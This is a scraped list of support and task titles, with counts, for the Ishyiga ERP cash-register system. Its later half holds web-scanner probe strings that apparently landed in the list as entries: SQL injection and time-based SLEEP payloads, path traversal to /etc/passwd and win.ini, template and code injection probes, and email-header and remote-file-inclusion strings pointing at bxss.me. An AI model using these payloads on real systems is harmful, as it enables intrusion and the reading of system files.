Ishyiga

REPORT 2

CREATION DU CLIENT 597

RAPPORT DE TOUTE LES VENTES 4

LIVRAISON 6

CHANGEMENT DU PRIX DE VENTE 5

RETOUR 2

LIVRAISON-FACTURE 6

FAIRE UN PROFORMA ISHYIGA IMPORT VENTE 7

TRANSFORMER UNE PROFORMA EN FACTURE 4

ANNULER 7

RAPPORT DE CAISSE 2

CRéER UNE SOCIéTé 1

FACTURES CLOUD 2

RAPORT 3

METTRE EN JOUR LE CLIENT 1

FACTURE 4

FACTURE EN CREDIT 2

FACTURE PAYER 1

SCANNER 1

CHANGER FACTURE 1

ACTIVE SDC 1

CAISSE 1

BL MINI 1

RéIMPRESSION DE FACTURE 2

Z_REPPORT 1

REIMPRESSION DE LA LIVRAISON 1

COMMENT SUPPRIMER UNE COMMANDE 1

REIMPRIMER LA FACTURE ANNULER 0

RAPPORT PLUS 1

FACTURE CREDIT AVEC AVANCE 1

RAPPORT DU CLIENT 1

TVA 1

CALCUL DE LA TVA 0

ANNULLER DE BON DE LIVRAISON 1

ANNULLER DE FACTURE 1

COPIE DE FACTURE 1

REFUND REPORT 1

RAPPORT D\\\'UN CLIENT 1

FORMAT RRA 1

PROFORMA ET LIVRAISON 1

IMPRIMER LES PRIX 1

IMPRIMER STOCK 1

TICKET DE CAISSE 1

BROUILLON 1

CHANGE LE COEFFICIENT 1

MET ELEMENT SUR PROMOTION 1

HOW TO DELIVER A COMMAND FROM DIFFERENT STOCK 1

HOW TO MAKE PROFORMA WITHOUT QTY IN STOCK 1

REPONDRE UN COMMANDE 1

CHANGER PROFORMA DANS UNE FACTURE POUR CREDIT 1

RAPPORT DE L\\\'INVENTAIRE 1

RAPPORT DE LA VENTE AVEC DEPOT 1

RAPPORT DU CAISSE DANS UNE PERIODE 1

RAPPORT DE PROFORMA 1

RAPPORT DE L\\\'OBJET 1

RAPPORT DE LA FACTURE CREDIT 1

RAPPORT DE LA FACTURE DE L\\\'ARGENT LIQUIDE 1

STANDBY DELIVERY 1

EREGISTRER MACHINE CLIENT 1

EREGISTRER NOUVEAU EMPLOYER 1

VIEW EVENT 1

PRINTER PROBLEM 1

RELEASE 1

SET SDC TIME TO MRC TIME 1

LES PROBLEMS DE WINDOWS ET JAVA 1

FOLLOW UP 1

BILLRUN 1

ENDING THREAD3 1

UPDATE CLIENT 1

DELIVERY NOTE 1

PARLE AVEC LE CLIENT 1

ANALYSIS 1

SETUP PRINTOUT DOCUMENT 1

ISHYIGA PRESENTATION 1

CONNECTION FAIL 1

LIVRAISON QUI PAS VENUE 1

CHANGE PRICE 1

SCANNER SETUP 1

MAKE PROFORMA 1

REPORT AND ANALYSIS 1

EXAM 1

MAKING INVOICES ON CLIENT MACHINES 1

NEW SERVER 1

CHECK THE XML SENT IN INTEGRATION 1

TEST AND UPDATE 1

VISITE + CHECK CLIENT SITUATION 1

REPORT ALL INVOICES IFITE INFORMATION ZA SDC NUMBER NA INVOICE NUMBER 1

CHECK IF VSDC HAS SKIPED INVOICES 1

STANDBY 1

CHEKING WHY DELIVERY NOT TRANSFORMED 1

PUT RRALOGO ON INVOICES CONFIGURE AUTOBACKUP 1

CHECK AND START SERVER 1

CHANGE DELIVERY DATE AND REFERENCE 1

GUFUNGA FIREWALLS 1

COMMAND ZIDASOHOKA 1

KUREBA IMPAMVU FACTURE YA CLIENT UMWE ITABA REFUNDED 1

KUREBA IMPAMVU ITEMS NYINSHI ZITAGARAGARA HAKOZWE SEARCH 1

TAX_CODE 1

GUHINDURA VERSION KUKO ITEMS NYINSHI ZITAGARAGARAGA HAKOZWE SEARCH,NO GUKOSORA INFO ZITAZAGA KURI CALCUL SHEET 1

GUCANA VSDC NO KUVANA MURI TRANSIT 1

GUKOSORA FACTURE 1

CHECK AHO INFO ZIRIMO DEPOT ZIZA KURI FACTURES ZIVA 1

EXPORT INVOICE ,REPRINT AND CHANGE VSDC VERSION 1

SHARE ISHYIGA FROM SERVER TO OTHER MACHINE VIA VPN 1

KUVANA MURI TRANSIT NOA CREATION NEW EMPLOYEE 1

GUSHYIRA DATE KURI DELIVERY 1

GUSHYIRA DATE KURI DELIVERY NO KONGERA SIZE YA EXPIRE DATE 1

END QUEUE 1

GUHINDURA DEPOT 1

CONNECT SDC AND TAKE BACKUP 1

THE SYSTEM WAS NOT WORKING IN ONE MACHINE 1

EMPLOYEES ACCOUNT CREATION 1

CHECK HOW 2 INVOICES MADE FROM ONE DELIVERY 1

GLOBAL ACCOUNT CREATION AND GIVE AUTHORISATIONS,CHECK ONE INVOICES WHICH DID NOT REFUNDED 1

ADD MAC ADDRESS OF ONE MACHINE AND END QUEUE 1

ERROR KURI TOTAL YA LIVRAISON 1

UPDATE THE PRINT OUT OF DELIVERY WITHOUT PRICES,TAKE BACKUP, END QUEUE, 1

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER 1

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER ,CONFIGURE AUTOBACKUP 1

ADDING COMPANY INFORMATION 1

RAPPORT FOURNSEUR 1

PROCESS INVOICES 1

TESTING BILLRUN 1

ERREUR FATAL 1

DELIVERY NOTE WITH FAIL STATUS 1

GIVE AUTHORIZATION,ADD COGEBANK ACCOUNT ON DELIVERY NOTE 1

VISIT ,TAKE BACKUP AND END QUEUE 1

CORRECT INVOICE WITH STANDBY AS INVOICE NUMBER, END QUEUE 1

ISHYIGA DESIGN 1

DELIVERY NOT SCANNED 1

PREPARE DATABASE FOR DISTRIBUTION, ITEM INJECTION 1

TESTING DISTRIBUTION USING CERCLE CHANEL 1

SHARE ISHYIGA ON CLIENT MACHINE 1

CONFIGURE ISHYIGA ON NEW IP ADDRESS OF SERVER AND SHARE IT 1

TEST ISSUE ON REFUND DELIVERY AND REFUND INVOICE AND GIVE NEW VERSION 1

PUT CORRECT BANK ACCOUNT ON DELIVERY 1

REINSTALL JAVA, AND CONNECT ISHYIGA ON CLIENT MACHINE 1

PERFORM DATA BACKUP 1

FIREWALLS AND NETWORK SHARING WERE CHANGED, SHARING ISHYIGA AND PRINTER 1

DEMO PREPARATION 1

CONNECT SDC 1

BON DE COMMANDE YAZAGA YANDITSEHO MVT ENTRE 1

CLOUD ORDER 1

COMPLETE UNCOMPLETED INVOICES FROM APRIL 2019 UP TO NOW, AND REFUND THEM 1

MVT REPORT 1

CHECKING WHY SHARED FOLDERS WERE NOT ACCESSED AND ENABLE THE POLICY FOR GUEST LOGONS 1

ERROR KURI TOTAL YA FACTURE 1

BON DE LIVRAISON NOT APPEARING IN THE SYSTEM 1

CHECKING IF NEW VSDC VERSION IS REPORTING 1

GUKOSORA BLV YARI YASOHOTSE KUMU CLIENT UTARIWE 1

EVALUATION VENTE GROS 1

SYSTEM IGENDA GACYE 1

ISHYIGA SYSTEM WAS NOT WORKING WITH ERROR MESSAGE THAT IT CAN\'T BE OPEN 1

SHARE ISHYIGA TO OTHER MACHINE,GUKURAHO DISCOUNT,VISUALIZER VIREMENT 1

PREPARE DELPOYMENT PLAN, PREPARE AND SEND EMAILS TO CLIENTS FOR UPDATE 1

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME BUGS 1

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH SOME EMPLOYEES TO CHECK SOME BUGS 1

DISPLAY ITAKA 1

INCOMPLITE INVOICES AND AUTO REFUND 1

IMPORTATION DE FACTURE ZISHYIGA ZIJYA MURI SAGE 1

BLV PRINTOUT FORMAT IZA NABI 1

PHQGHUME 1

-1 OR 2+990-990-1=0+0+0+1 -- 1

-1 OR 2+888-888-1=0+0+0+1 1

1 1

-1" OR 2+482-482-1=0+0+0+1 -- 1

IF(NOW()=SYSDATE(),SLEEP(15),0) 1

0 1

PHQGHUME 1

MMZHRRDB 1

1Y72VCGIO 1

MMZHRRDB 1

RESPONSE.WRITE(9993959*9159958) 1

MMZHRRDB 1

"+RESPONSE.WRITE(9993959*9159958)+" 1

MMZHRRDB 1

V9B2VELY 1

MMZHRRDB 1

MMZHRRDB BCC:074625.405-439.405.67846.20072.2@BXSS.ME 1

MMZHRRDB 1

TO@EXAMPLE.COM> BCC:074625.405-440.405.67846.20072.2@BXSS.ME 1

MMZHRRDB 1

../../../../../../../../../../../../../../ETC/PASSWD 1

MMZHRRDB 1

../../../../../../../../../../../../../../WINDOWS/WIN.INI 1

FILE:///ETC/PASSWD 1

MMZHRRDB 1

../MMZHRRDB 1

MMZHRRDB 1

1

ARRAY 1

MMZHRRDB 1

${9999534+9999129} 1

MMZHRRDB 1

V21YSM8ZWUQ= 1

MMZHRRDB 1

HTTP://DICRPDBJMEMUJEMFYOPP.ZZZ/YRPHMGDPGULASZRIYLQIIPEMEFMACAFKXYCJAXJS?.JPG 1

MMZHRRDB 1

1YRPHMGDPGULASZRIYLQIIPEMEFMACAFKXYCJAXJS.JPG 1

MMZHRRDB&N979223=V948414 1

HTTP://BXSS.ME/T/FIT.TXT 1

HTTP://BXSS.ME/T/FIT.TXT?.JPG 1

MMZHRRDB 1

-1 OR 2+659-659-1=0+0+0+1 -- 1

MMZHRRDB 1

/ETC/SHELLS 1

MMZHRRDB 1

-1 OR 2+617-617-1=0+0+0+1 1

MMZHRRDB 1

C:/WINDOWS/WIN.INI 1

BXSS.ME 1

MMZHRRDB 1

1 1

) 1

!(()&&!|*|*| 1

-1" OR 2+606-606-1=0+0+0+1 -- 1

^(#$!@#$)(()))****** 1

IF(NOW()=SYSDATE(),SLEEP(15),0) 1

MMZHRRDB 1

0 1

MMZHRRDB 1

0 1

MMZHRRDB 1

0 1

MMZHRRDB 1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z 1

MMZHRRDB 1

ARRAY 1

MMZHRRDB 1

0 1

MMZHRRDB 1

ARRAY 1

MMZHRRDB 1

MMZHRRDB"&&SLEEP(27*1000)*YPYWNG&&" 1

MMZHRRDB 1

MMZHRRDB"||SLEEP(27*1000)*NREHII||" 1

MMZHRRDB 1

ADD_FUNCTION.PHP 1

MMZHRRDB 1

ADD_FUNCTION.PHP/. 1

MMZHRRDB 1

MMZHRRDB9578677 1

MMZHRRDB 1

ISHYIGA ERP CAISSE